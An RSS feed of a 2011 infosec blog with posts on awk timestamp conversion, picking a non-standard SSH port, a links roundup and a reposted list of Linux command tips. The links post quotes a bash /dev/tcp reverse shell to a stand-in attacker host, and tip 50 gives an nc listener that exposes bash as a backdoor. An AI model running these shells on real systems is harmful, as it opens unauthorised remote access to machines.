<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>[blog.rayfoo] &#187; CLI</title>
	<atom:link href="http://blog.rayfoo.info/tag/cli/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.rayfoo.info</link>
	<description>Infosec, DFIR, tech geekery, thoughts and whatnot</description>
	<lastBuildDate>Wed, 25 Jan 2012 00:36:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Dynamic conversion of epoch timestamps in logs</title>
		<link>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs</link>
		<comments>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs#comments</comments>
		<pubDate>Fri, 27 May 2011 17:37:50 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log analysis]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=870</guid>
		<description><![CDATA[In the course of your logs or text processing, you may come across certain timestamps in epoch format.  Whilst there's always online resources to assist with the conversion of such timestamps, it may not be the best way if you need to keep the timestamp "secret" during then, or if you have many timestamps to [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-871" title="timestamp" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/timestamp_logo.jpg" alt="" width="250" height="278" />In the course of your logs or text processing, you may come across certain timestamps in <a href="http://en.wikipedia.org/wiki/Unix_time">epoch</a> format.  Whilst there's always <a href="http://www.google.com/search?q=online+convert+epoch+timestamp">online resources</a> to assist with the conversion of such timestamps, it may not be the best way if you need to keep the timestamp "secret" during then, or if you have many timestamps to convert going by the thousands, millions, etc.</p>
<p>Whilst there's always free tools like Splunk which is available for free to the masses (and yes, it does automatically convert epoch timestamps for you), there's always our "humble" awk. <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><span id="more-870"></span>The linux awk command has the ability to invoke other commands as part of its computation.  The date command can be used to convert epoch times to local times.  Putting both together would allow us to do just what we need here!</p>
<p>First some examples with the date command:</p>
<blockquote>
<pre>$ date -d @1280921130.313
Wed Aug  4 19:25:30 SGT 2010</pre>
</blockquote>
<p>Or should we want to get the dates only:</p>
<blockquote>
<pre>$ date -d @1280921130.313 +%D
08/04/10</pre>
</blockquote>
<p>Now, making use of awk to convert only one epoch timestamp:</p>
<blockquote>
<pre>$ echo -n "1280921130.313" | \
awk '{<span style="color: #00ff00;"><strong>"date -d @"$1" +%D"</strong></span> <span style="color: #ff00ff;"><strong>| getline</strong></span> <span style="color: #00ffff;"><strong>myvariable</strong></span>; print myvariable}'
08/04/10</pre>
</blockquote>
<p>The important part to note is that we must <span style="color: #00ff00;"><strong>enclose the "external" command in quotes</strong></span> (we use the unquoted $1 variable to pass the epoch timestamp from awk), and that we <span style="color: #ff00ff;"><strong>pipe the output of that command to the getline directive</strong></span> in awk.  getline by itself would replace the $0 variable in awk when referencing it subsequently, whereas specifying a <span style="color: #00ffff;"><strong>variable</strong></span> ("myvariable" in this example) would keep the $0 variable as it is, allowing you to use the variable to reference the output of the external command.</p>
<p>Final example showing how logs preprocessing using these commands might look like:</p>
<blockquote>
<pre>$ cat sample.log
1280921130.313 logentry1
1280921131.313 logentry2
1280921132.313 logentry3
1280921133.313 logentry4
</pre>
<pre>$ cat sample.log | \
awk '{"date -d @"$1 | getline myvariable2; print myvariable2 "\t" $0}'
Wed Aug  4 19:25:30 SGT 2010    1280921130.313 logentry1
Wed Aug  4 19:25:31 SGT 2010    1280921131.313 logentry2
Wed Aug  4 19:25:32 SGT 2010    1280921132.313 logentry3
Wed Aug  4 19:25:33 SGT 2010    1280921133.313 logentry4
</pre>
</blockquote>
<p>Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interesting Links</title>
		<link>http://blog.rayfoo.info/2011/05/interesting-links</link>
		<comments>http://blog.rayfoo.info/2011/05/interesting-links#comments</comments>
		<pubDate>Tue, 17 May 2011 13:50:14 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[malware analysis]]></category>
		<category><![CDATA[PDF]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=848</guid>
		<description><![CDATA[Will start linking some of the stuff that potentially would be interesting and useful here.  Let's start off with an alternative BASH-fu technique to initiate and listen TCP connections from a (supposedly pwned) Linux box: http://blog.rootshell.be/2011/05/05/binbash-phone-home/ Now the question will arise: when those network redirection could be helpful? First, bash can used without third party [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-850" title="fence chain links" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/fence-chain-link.jpg" alt="" width="300" height="200" />Will start linking some of the stuff that potentially would be interesting and useful here.  Let's start off with an alternative BASH-fu technique to initiate and listen TCP connections from a (supposedly pwned) Linux box:</p>
<p><a href="http://blog.rootshell.be/2011/05/05/binbash-phone-home/">http://blog.rootshell.be/2011/05/05/binbash-phone-home/</a></p>
<blockquote><p>Now the question will arise: when those network redirection could be helpful? First, bash can used without third party tools to grab data from the network. The example below fetch this blog main page:</p>
<pre>  exec 5&lt;&gt; /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" &gt;&amp;5
  cat &lt;&amp;5
  exec 5&gt;&amp;-</pre>
<p>Very convenient if you don’t have link or curl installed. Just pipe the output to other commands. This can be used to generate dictionary files to conduct a bruteforce attack:</p>
<pre>  exec 5&lt;&gt; /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" &gt;&amp;5
  cat &lt;&amp;5
  exec 5&gt;&amp;- | sed -e 's/&lt;[!a-zA-Z/][^&gt;]*&gt;//g' foo.tmp | tr " " "n"</pre>
<p>Another nice example is to make bash “phone home”. Let’s launch a reverse shell to an attacker box:</p>
<pre>  victim# bash 0&lt;/dev/tcp/www.attacker.com/8888 1&gt;&amp;0 2&gt;&amp;0</pre>
<p>As the bash shell is very common, it can be very interesting! Just use your imagination. to find other examples. A final remark: this feature is not available on all pre-compiled or packaged bash instances! Some UNIX flavors consider it as dangerous (which is true!). If you want to compile your own bash with this feature enabled, the configuration flag is “<em>–enable-net-redirections</em>“.</p></blockquote>
<p>Also, a tool to help with PDF creation/modification/analysis.  Sounds promising:</p>
<p><a href="http://code.google.com/p/peepdf/">http://code.google.com/p/peepdf/</a></p>
<blockquote><p>peepdf is a <strong>Python tool to explore PDF files</strong> in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of Spidermonkey and Libemu it provides <strong>Javascript and shellcode analysis</strong> wrappers too. Apart of this it's able to create new PDF files and to modify existent ones.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/05/interesting-links/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Added Layer Of Obscurity: Finding a non-standard port for your service</title>
		<link>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service</link>
		<comments>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service#comments</comments>
		<pubDate>Sat, 26 Mar 2011 15:22:16 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[hardening]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[port knocking]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security by obscurity]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=812</guid>
		<description><![CDATA[Designing your security model using only obscurity is always a bad idea, but after sound measures have been put in place, an added layer of obscurity might make the service/account harder to find for the malicious, and lower the resources wasted by their brute forcing, etc. An example would be the changing of private services [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-813" title="&quot;Now where's that darned port?!&quot;" src="http://blog.rayfoo.info/wp-content/uploads/2011/03/blindfolded-man.jpg" alt="" width="300" height="247" />Designing your security model using only <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">obscurity</a> is always a bad idea, but after sound measures have been put in place, an added layer of obscurity might make the service/account harder to find for the malicious, and lower the resources wasted by their brute forcing, etc.</p>
<p>An example would be the changing of private services (e.g. SSH) to run on non-standard ports (I see this frequently recommended as part of hardening guides anyway; there's <a href="http://en.wikipedia.org/wiki/Port_knocking">port knocking</a> too which could be even better, but that's not the point of this post).</p>
<p>In the example of hiding SSH ports, the question then comes: <strong>what port to use?</strong> One of the many ways is to make use of nmap's frequently used ports list to help make a decision.  Nmap scans using the top 1000 frequently used ports in a normal scan (although we change the scan to scan based on any top <em>n</em> used ports too).  So we run this in a shell to list the top 1000 (or <em>n</em> of your fancy) used ports:</p>
<pre><strong><span style="color: #00ff00;">cat /usr/share/nmap/nmap-services | \
awk '{print $3 "\t" $2 "\t\t" $1}' | \
sort -nr | head -n1000 | less
</span></strong></pre>
<p>&nbsp;<br />
Let's break this command down:</p>
<p><span style="color: #00ff00;"><strong>cat /usr/share/nmap/nmap-services</strong></span> prints out the contents of the nmap-services file (used to track the probabilities of the ports used) to STDOUT.</p>
<p><span style="color: #00ff00;"><strong>awk '{print $3 "\t" $2 "\t\t" $1}'</strong></span> formats the contents of the nmap-services for the sort command to work on.</p>
<p><span style="color: #00ff00;"><strong>sort -nr</strong></span> sorts the entries by reverse numerical order.</p>
<p><span style="color: #00ff00;"><strong>head -n1000</strong></span> shows only the top 1000 lines of output (change to any number you wish, or remove altogether to see the full list)</p>
<p><span style="color: #00ff00;"><strong>less</strong></span> displays the output in a scrollable, searchable manner.</p>
<p>On an ending note, it probably would be a bad idea to go straight for the last entries in the sorted list for your port selections.  <strong>Remember: we want to be <em>unpredictable</em>, and not simply <em>different</em>.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(Many) Sick Linux Commands</title>
		<link>http://blog.rayfoo.info/2011/01/many-sick-linux-commands</link>
		<comments>http://blog.rayfoo.info/2011/01/many-sick-linux-commands#comments</comments>
		<pubDate>Mon, 17 Jan 2011 16:51:27 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=796</guid>
		<description><![CDATA[These 75 (so far) tips are too good not to repost/archive for all the *nix geeks! I did NOT write these, see the links below: [via URFIX #1 #2 #3] 1) sshfs name@server:/path/to/folder /path/to/mount/point Mount folder/filesystem through SSH Install SSHFS from http://fuse.sourceforge.net/sshfs.html Will allow you to mount a folder security over a network. 2) !!:gs/foo/bar [...]]]></description>
			<content:encoded><![CDATA[<p>These 75 (so far) tips are too good not to repost/archive for all the *nix geeks! <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I did NOT write these, see the links below:</p>
<p>[via URFIX <a href="http://blog.urfix.com/25-linux-commands/">#1</a> <a href="http://blog.urfix.com/25-sick-linux-commands/">#2</a> <a href="http://blog.urfix.com/25-%E2%80%93-sick-linux-commands/">#3</a>]</p>
<p><span id="more-796"></span></p>
<p><strong>1) sshfs name@server:/path/to/folder /path/to/mount/point</strong><br />
Mount folder/filesystem through SSH<br />
Install SSHFS from http://fuse.sourceforge.net/sshfs.html<br />
Will allow you to mount a folder security over a network.<br />
<strong><br />
2) !!:gs/foo/bar</strong><br />
Runs previous command replacing foo by bar every time that foo appears<br />
Very useful for rerunning a long command changing some arguments globally.<br />
As opposed to ^foo^bar, which only replaces the first occurrence of foo, this one changes every occurrence.</p>
<p><strong>3) mount | column -t</strong><br />
currently mounted filesystems in nice layout<br />
Particularly useful if you’re mounting different drives, using the following command will allow you to see all the filesystems currently mounted on your computer and their respective specs with the added benefit of nice formatting.</p>
<p><strong>4) &lt;space&gt;command</strong><br />
Execute a command without saving it in the history<br />
Prepending one or more spaces to your command won’t be saved in history.<br />
Useful for pr0n or passwords on the commandline.</p>
<p><strong>5) ssh user@host cat /path/to/remotefile | diff /path/to/localfile -</strong><br />
Compare a remote file with a local file<br />
Useful for checking if there are differences between local and remote files.</p>
<p><strong>6) mount -t tmpfs tmpfs /mnt -o size=1024m</strong><br />
Mount a temporary ram partition<br />
Makes a partition in ram which is useful if you need a temporary working space as read/write access is fast.<br />
Be aware that anything saved in this partition will be gone after your computer is turned off.</p>
<p><strong>7) dig +short txt &lt;keyword&gt;.wp.dg.cx</strong><br />
Query Wikipedia via console over DNS<br />
Query Wikipedia by issuing a DNS query for a TXT record. The TXT record will also include a short URL to the complete corresponding Wikipedia entry.</p>
<p><strong>8 ) netstat -tlnp</strong><br />
Lists all listening ports together with the PID of the associated process<br />
The PID will only be printed if you’re holding a root equivalent ID.</p>
<p><strong>9) dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp</strong><br />
output your microphone to a remote computer’s speaker<br />
This will output the sound from your microphone port to the ssh target computer’s speaker port. The sound quality is very bad, so you will hear a lot of hissing.</p>
<p><strong>10) echo “ls -l” | at midnight</strong><br />
Execute a command at a given time<br />
This is an alternative to cron which allows a one-off task to be scheduled for a certain time.</p>
<p><strong>11) curl -u user:pass -d status=”Tweeting from the shell” http://twitter.com/statuses/update.xml</strong><br />
Update twitter via curl</p>
<p><strong>12) ssh -N -L2001:localhost:80 somemachine</strong><br />
start a tunnel from some machine’s port 80 to your local post 2001<br />
now you can acces the website by going to http://localhost:2001/</p>
<p><strong>13) reset</strong><br />
Salvage a borked terminal<br />
If you bork your terminal by sending binary data to STDOUT or similar, you can get your terminal back using this command rather than killing and restarting the session. Note that you often won’t be able to see the characters as you type them.</p>
<p><strong>14) ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg</strong><br />
Capture video of a linux desktop</p>
<p><strong>15) &gt; file.txt</strong><br />
Empty a file<br />
For when you want to flush all content from a file without removing it (hat-tip to Marc Kilgus).</p>
<p><strong>16) $ssh-copy-id user@host</strong><br />
Copy ssh keys to user@host to enable password-less ssh logins.<br />
To generate the keys use the command ssh-keygen</p>
<p><strong>17) ctrl-x e</strong><br />
Rapidly invoke an editor to write a long, complex, or tricky command<br />
Next time you are using your shell, try typing ctrl-x e (that is holding control key press x and then e). The shell will take what you’ve written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever.</p>
<p><strong>18) !whatever:p</strong><br />
Check command history, but avoid running it<br />
!whatever will search your command history and execute the first command that matches ‘whatever’. If you don’t feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.</p>
<p><strong>19) mtr google.com</strong><br />
mtr, better than traceroute and ping combined<br />
mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.<br />
As mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME. by sending packets with purposly low TTLs. It continues to send packets with low TTL, noting the response time of the intervening routers. This allows mtr to print the response percentage and response times of the internet route to HOSTNAME. A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link.</p>
<p><strong>20) cp filename{,.bak}</strong><br />
quickly backup or copy a file with bash</p>
<p><strong>21) ^foo^bar</strong><br />
Runs previous command but replacing<br />
Really useful for when you have a typo in a previous command. Also, arguments default to empty so if you accidentally run:<br />
echo “no typozs”<br />
you can correct it with<br />
^z</p>
<p><strong>22) cd -</strong><br />
change to the previous working directory</p>
<p><strong>23):w !sudo tee %</strong><br />
Save a file you edited in vim without the needed permissions<br />
I often forget to sudo before editing a file I don’t have write permissions on. When you come to save that file and get the infamous “E212: Can’t open file for writing”, just issue that vim command in order to save the file without the need to save it to a temp file and then copy it back again.</p>
<p><strong>24) python -m SimpleHTTPServer<br />
</strong>Serve current directory tree at http://$HOSTNAME:8000/</p>
<p><strong>25) sudo !!</strong><br />
Run the last command as root<br />
Useful when you forget to use sudo for a command. “!!” grabs the last run command.</p>
<p><strong>26) LIKE TOP, BUT FOR FILES</strong><br />
watch -d -n 2 ‘df; ls -FlAt;’</p>
<p><strong>27) DOWNLOAD AN ENTIRE WEBSITE</strong><br />
wget -random-wait -r -p -e robots=off -U mozilla http://www.example.com<br />
-p parameter tells wget to include all files, including images.<br />
-e robots=off you don’t want wget to obey by the robots.txt file<br />
-U mozilla as your browsers identity.<br />
-random-wait to let wget chose a random number of seconds to wait, avoid get into black list.</p>
<p>Other Useful wget Parameters:<br />
-limit-rate=20k limits the rate at which it downloads files.<br />
-b continues wget after logging out.<br />
-o $HOME/wget_log.txt logs the output</p>
<p><strong>28) LIST THE SIZE (IN HUMAN READABLE FORM) OF ALL SUB FOLDERS FROM THE CURRENT LOCATION</strong><br />
du -h -max-depth=1</p>
<p><strong>29) A VERY SIMPLE AND USEFUL STOPWATCH<br />
</strong>time read (ctrl-d to stop)<br />
time read -sn1 (s:silent, n:number of characters. Press any character to stop)</p>
<p><strong>30) QUICK ACCESS TO THE ASCII TABLE.</strong><br />
man ascii</p>
<p><strong>31) SHUTDOWN A WINDOWS MACHINE FROM LINUX</strong><br />
net rpc shutdown -I ipAddressOfWindowsPC -U username%password<br />
This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are:<br />
net rpc shutdown -r : reboot the Windows machine<br />
net rpc abortshutdown : abort shutdown of the Windows machine</p>
<p>Type:<br />
net rpc<br />
to show all relevant commands</p>
<p><strong>32) JUMP TO A DIRECTORY, EXECUTE A COMMAND AND JUMP BACK TO CURRENT DIR</strong><br />
(cd /tmp &amp;&amp; ls)</p>
<p><strong>33) DISPLAY THE TOP TEN RUNNING PROCESSES – SORTED BY MEMORY USAGE</strong><br />
ps aux | sort -nk +4 | tail<br />
ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.</p>
<p><strong>34) LIST OF COMMANDS YOU USE MOST OFTEN</strong><br />
history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head</p>
<p><strong>35) REBOOT MACHINE WHEN EVERYTHING IS HANGING (RAISING A SKINNY ELEPHANT)</strong><br />
&lt;alt&gt; + &lt;print screen/sys rq&gt; + &lt;R&gt; – &lt;S&gt; – &lt;E&gt; – &lt;I&gt; – &lt;U&gt; – &lt;B&gt;<br />
If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully.<br />
R – gives back control of the keyboard<br />
S – issues a sync<br />
E – sends all processes but init the term singal<br />
I – sends all processes but init the kill signal<br />
U – mounts all filesystem ro to prevent a fsck at reboot<br />
B – reboots the system<br />
Save your file before trying this out, this will reboot your machine without warning!</p>
<p>http://en.wikipedia.org/wiki/Magic_SysRq_key</p>
<p><strong>36) MAKE ‘LESS’ BEHAVE LIKE ‘TAIL -F’</strong><br />
less +F somelogfile<br />
Using +F will put less in follow mode. This works similar to ‘tail -f’. To stop scrolling, use the interrupt. Then you’ll get the normal benefits of less (scroll, etc.).<br />
Pressing SHIFT-F will resume the ‘tailling’.</p>
<p><strong>37) SET AUDIBLE ALARM WHEN AN IP ADDRESS COMES ONLINE</strong><br />
ping -i 60 -a IP_address<br />
Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).</p>
<p><strong>38) BACKTICKS ARE EVIL</strong><br />
echo “The date is: $(date +%D)”<br />
This is a simple example of using proper command nesting using $() over “. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes:</p>
<p>program1 $(program2 $(program3 $(program4)))versus</p>
<p>program1 `program2 \`program3 \`program4\`\``Second, they’re easier to read, then trying to decipher the difference between the backtick and the singlequote: `’. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code.</p>
<p><strong>39) SIMULATE TYPING</strong><br />
echo “You can simulate on-screen typing just like in the movies” | pv -qL 10<br />
This will output the characters at 10 per second.</p>
<p><strong>40) PYTHON SMTP SERVER</strong><br />
python -m smtpd -n -c DebuggingServer localhost:1025<br />
This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body.</p>
<p><strong>41) WATCH NETWORK SERVICE ACTIVITY IN REAL-TIME</strong><br />
lsof -i</p>
<p><strong>42) DIFF TWO UNSORTED FILES WITHOUT CREATING TEMPORARY FILES</strong><br />
diff &lt;(sort file1) &lt;(sort file2)<br />
bash/ksh subshell redirection (as file descriptors) used as input to diff</p>
<p><strong>43) RIP AUDIO FROM A VIDEO FILE.</strong><br />
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile &lt;output-file&gt; &lt;input-file&gt;<br />
replace accordingly</p>
<p><strong>44) MATRIX STYLE</strong><br />
tr -c “[:digit:]” ” ” &lt; /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep -color “[^ ]“</p>
<p><strong>45) THIS COMMAND WILL SHOW YOU ALL THE STRING (PLAIN TEXT) VALUES IN RAM</strong><br />
sudo dd if=/dev/mem | cat | strings<br />
A fun thing to do with ram is actually open it up and take a peek.</p>
<p><strong>46) DISPLAY WHICH DISTRO IS INSTALLED</strong><br />
cat /etc/issue</p>
<p><strong>47) EASILY SEARCH RUNNING PROCESSES (ALIAS).</strong><br />
alias ‘ps?’='ps ax | grep ‘</p>
<p><strong>48) CREATE A SCRIPT OF THE LAST EXECUTED COMMAND</strong><br />
echo “!!” &gt; foo.sh<br />
Sometimes commands are long, but useful, so it’s helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform.<br />
history -1 | cut -c 7- &gt; foo.sh</p>
<p><strong>49) EXTRACT TARBALL FROM INTERNET WITHOUT LOCAL SAVING</strong><br />
wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -</p>
<p><strong>50) CREATE A BACKDOOR ON A MACHINE TO ALLOW REMOTE CONNECTION TO BASH</strong><br />
nc -vv -l -p 1234 -e /bin/bash</p>
<p>This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :<br />
nc 192.168.0.1 1234</p>
<p>You will have console access to the machine through bash. (be careful with this one)</p>
<p><strong>51) MONITOR PROGRESS OF A COMMAND</strong><br />
pv access.log | gzip &gt; access.log.gz</p>
<p>Pipe viewer is a terminal-based tool for monitoring the progress of data through a pipeline. It can be inserted into any normal pipeline between two processes to give a visual indication of how quickly data is passing through, how long it has taken, how near to completion it is, and an estimate of how long it will be until completion. Source: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/</p>
<p><strong>52) GRAPHICAL TREE OF SUB-DIRECTORIES</strong><br />
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'<br />
Prints a graphical directory tree from your current directory</p>
<p><strong>53) DELETE ALL FILES IN A FOLDER THAT DON’T MATCH A CERTAIN FILE EXTENSION</strong><br />
rm !(*.foo|*.bar|*.baz)<br />
Deletes all files in a folder that are NOT *.foo, *.bar or *.baz files. Edit the pattern inside the brackets as you like.</p>
<p><strong>54) EASY AND FAST ACCESS TO OFTEN EXECUTED COMMANDS THAT ARE VERY LONG AND COMPLEX.</strong><br />
some_very_long_and_complex_command # label<br />
When using reverse-i-search you have to type some part of the command that you want to retrieve. However, if the command is very complex it might be difficult to recall the parts that will uniquely identify this command. Using the above trick it’s possible to label your commands and access them easily by pressing ^R and typing the label (should be short and descriptive).</p>
<p><strong>55) DEFINE A QUICK CALCULATOR FUNCTION</strong><br />
? () { echo "$*" | bc -l; }<br />
defines a handy function for quick calculations from cli.</p>
<p>once defined:<br />
? 10*2+3</p>
<p><strong>56) DISPLAY A COOL CLOCK ON YOUR TERMINAL</strong><br />
watch -t -n1 "date +%T|figlet"<br />
This command displays a clock on your terminal which updates the time every second. Press Ctrl-C to exit.</p>
<p>A couple of variants:</p>
<p>A little bit bigger text:<br />
watch -t -n1 "date +%T|figlet -f big"You can try other figlet fonts, too.</p>
<p>Big sideways characters:<br />
watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)'This requires a particular version of banner and a 40-line terminal or you can adjust the width (“30″ here).</p>
<p><strong>57) INTERCEPT STDOUT/STDERR OF ANOTHER PROCESS</strong><br />
strace -ff -e trace=write -e write=1,2 -p SOME_PID</p>
<p><strong>58) REMOVE DUPLICATE ENTRIES IN A FILE WITHOUT SORTING.</strong><br />
awk '!x[$0]++' &lt;file&gt;<br />
Using awk, find duplicates in a file without sorting, which reorders the contents. awk will not reorder them, and still find and remove duplicates which you can then redirect into another file.</p>
<p><strong>59) RECORD A SCREENCAST AND CONVERT IT TO AN MPEG</strong><br />
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg<br />
Grab X11 input and create an MPEG at 25 fps with the resolution 800×600</p>
<p><strong>60) MOUNT A .ISO FILE IN UNIX/LINUX</strong><br />
mount /path/to/file.iso /mnt/cdrom -oloop<br />
“-o loop” lets you use a file as a block device</p>
<p><strong>61) INSERT THE LAST COMMAND WITHOUT THE LAST ARGUMENT (BASH)</strong><br />
!:-<br />
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/</p>
<p>then</p>
<p>!:- http://www.urfix.com/is the same as<br />
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.urfix.com/</p>
<p><strong>62) CONVERT SECONDS TO HUMAN-READABLE FORMAT</strong><br />
date -d@1234567890<br />
This example, for example, produces the output, “Fri Feb 13 15:26:30 EST 2009″</p>
<p><strong>63) JOB CONTROL</strong><br />
^Z $bg $disown<br />
You’re running a script, command, whatever.. You don’t expect it to take long, now 5pm has rolled around and you’re ready to go home… Wait, it’s still running… You forgot to nohup it before running it… Suspend it, send it to the background, then disown it… The ouput wont go anywhere, but at least the command will still run…</p>
<p><strong>64) EDIT A FILE ON A REMOTE HOST USING VIM</strong><br />
vim scp://username@host//path/to/somefile</p>
<p><strong>65) MONITOR THE QUERIES BEING RUN BY MYSQL</strong><br />
watch -n 1 mysqladmin --user=&lt;user&gt; --password=&lt;password&gt; processlist<br />
Watch is a very useful command for periodically running another command – in this using mysqladmin to display the processlist. This is useful for monitoring which queries are causing your server to clog up.</p>
<p>More info here: http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html</p>
<p><strong>66) ESCAPE ANY COMMAND ALIASES</strong><br />
\[command]</p>
<p>e.g. if rm is aliased for ‘rm -i’, you can escape the alias by prepending a backslash:<br />
rm [file] # WILL prompt for confirmation per the alias<br />
\rm [file] # will NOT prompt for confirmation per the default behavior of the command</p>
<p><strong>67) SHOW APPS THAT USE INTERNET CONNECTION AT THE MOMENT. (MULTI-LANGUAGE)</strong><br />
ss -p<br />
for one line per process:</p>
<p>ss -p | catfor established sockets only:<br />
ss -p | grep STAfor just process names:<br />
ss -p | cut -f2 -sd\"or<br />
ss -p | grep STA | cut -f2 -d\"</p>
<p><strong>68) SEND POP-UP NOTIFICATIONS ON GNOME</strong><br />
notify-send ["&lt;title&gt;"] "&lt;body&gt;"<br />
The title is optional.</p>
<p>Options:<br />
-t: expire time in milliseconds.<br />
-u: urgency (low, normal, critical).<br />
-i: icon path.</p>
<p>On Debian-based systems you may need to install the ‘libnotify-bin’ package.<br />
Useful to advise when a wget download or a simulation ends. Example:<br />
wget URL ; notify-send "Done"</p>
<p><strong>69) QUICKLY RENAME A FILE</strong><br />
mv filename.{old,new}</p>
<p><strong>70) REMOVE ALL BUT ONE SPECIFIC FILE</strong><br />
rm -f !(survivior.txt)</p>
<p><strong>71) GENERATE A RANDOM PASSWORD 30 CHARACTERS LONG</strong><br />
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo<br />
Find random strings within /dev/urandom. Using grep filter to just Alphanumeric characters, and then print the first 30 and remove all the line feeds.</p>
<p><strong>72) RUN A COMMAND ONLY WHEN LOAD AVERAGE IS BELOW A CERTAIN THRESHOLD</strong><br />
echo "rm -rf /unwanted-but-large/folder" | batch<br />
Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun.</p>
<p><strong>73) BINARY CLOCK</strong><br />
watch -n 1 'echo "obase=2;`date +%s`" | bc'<br />
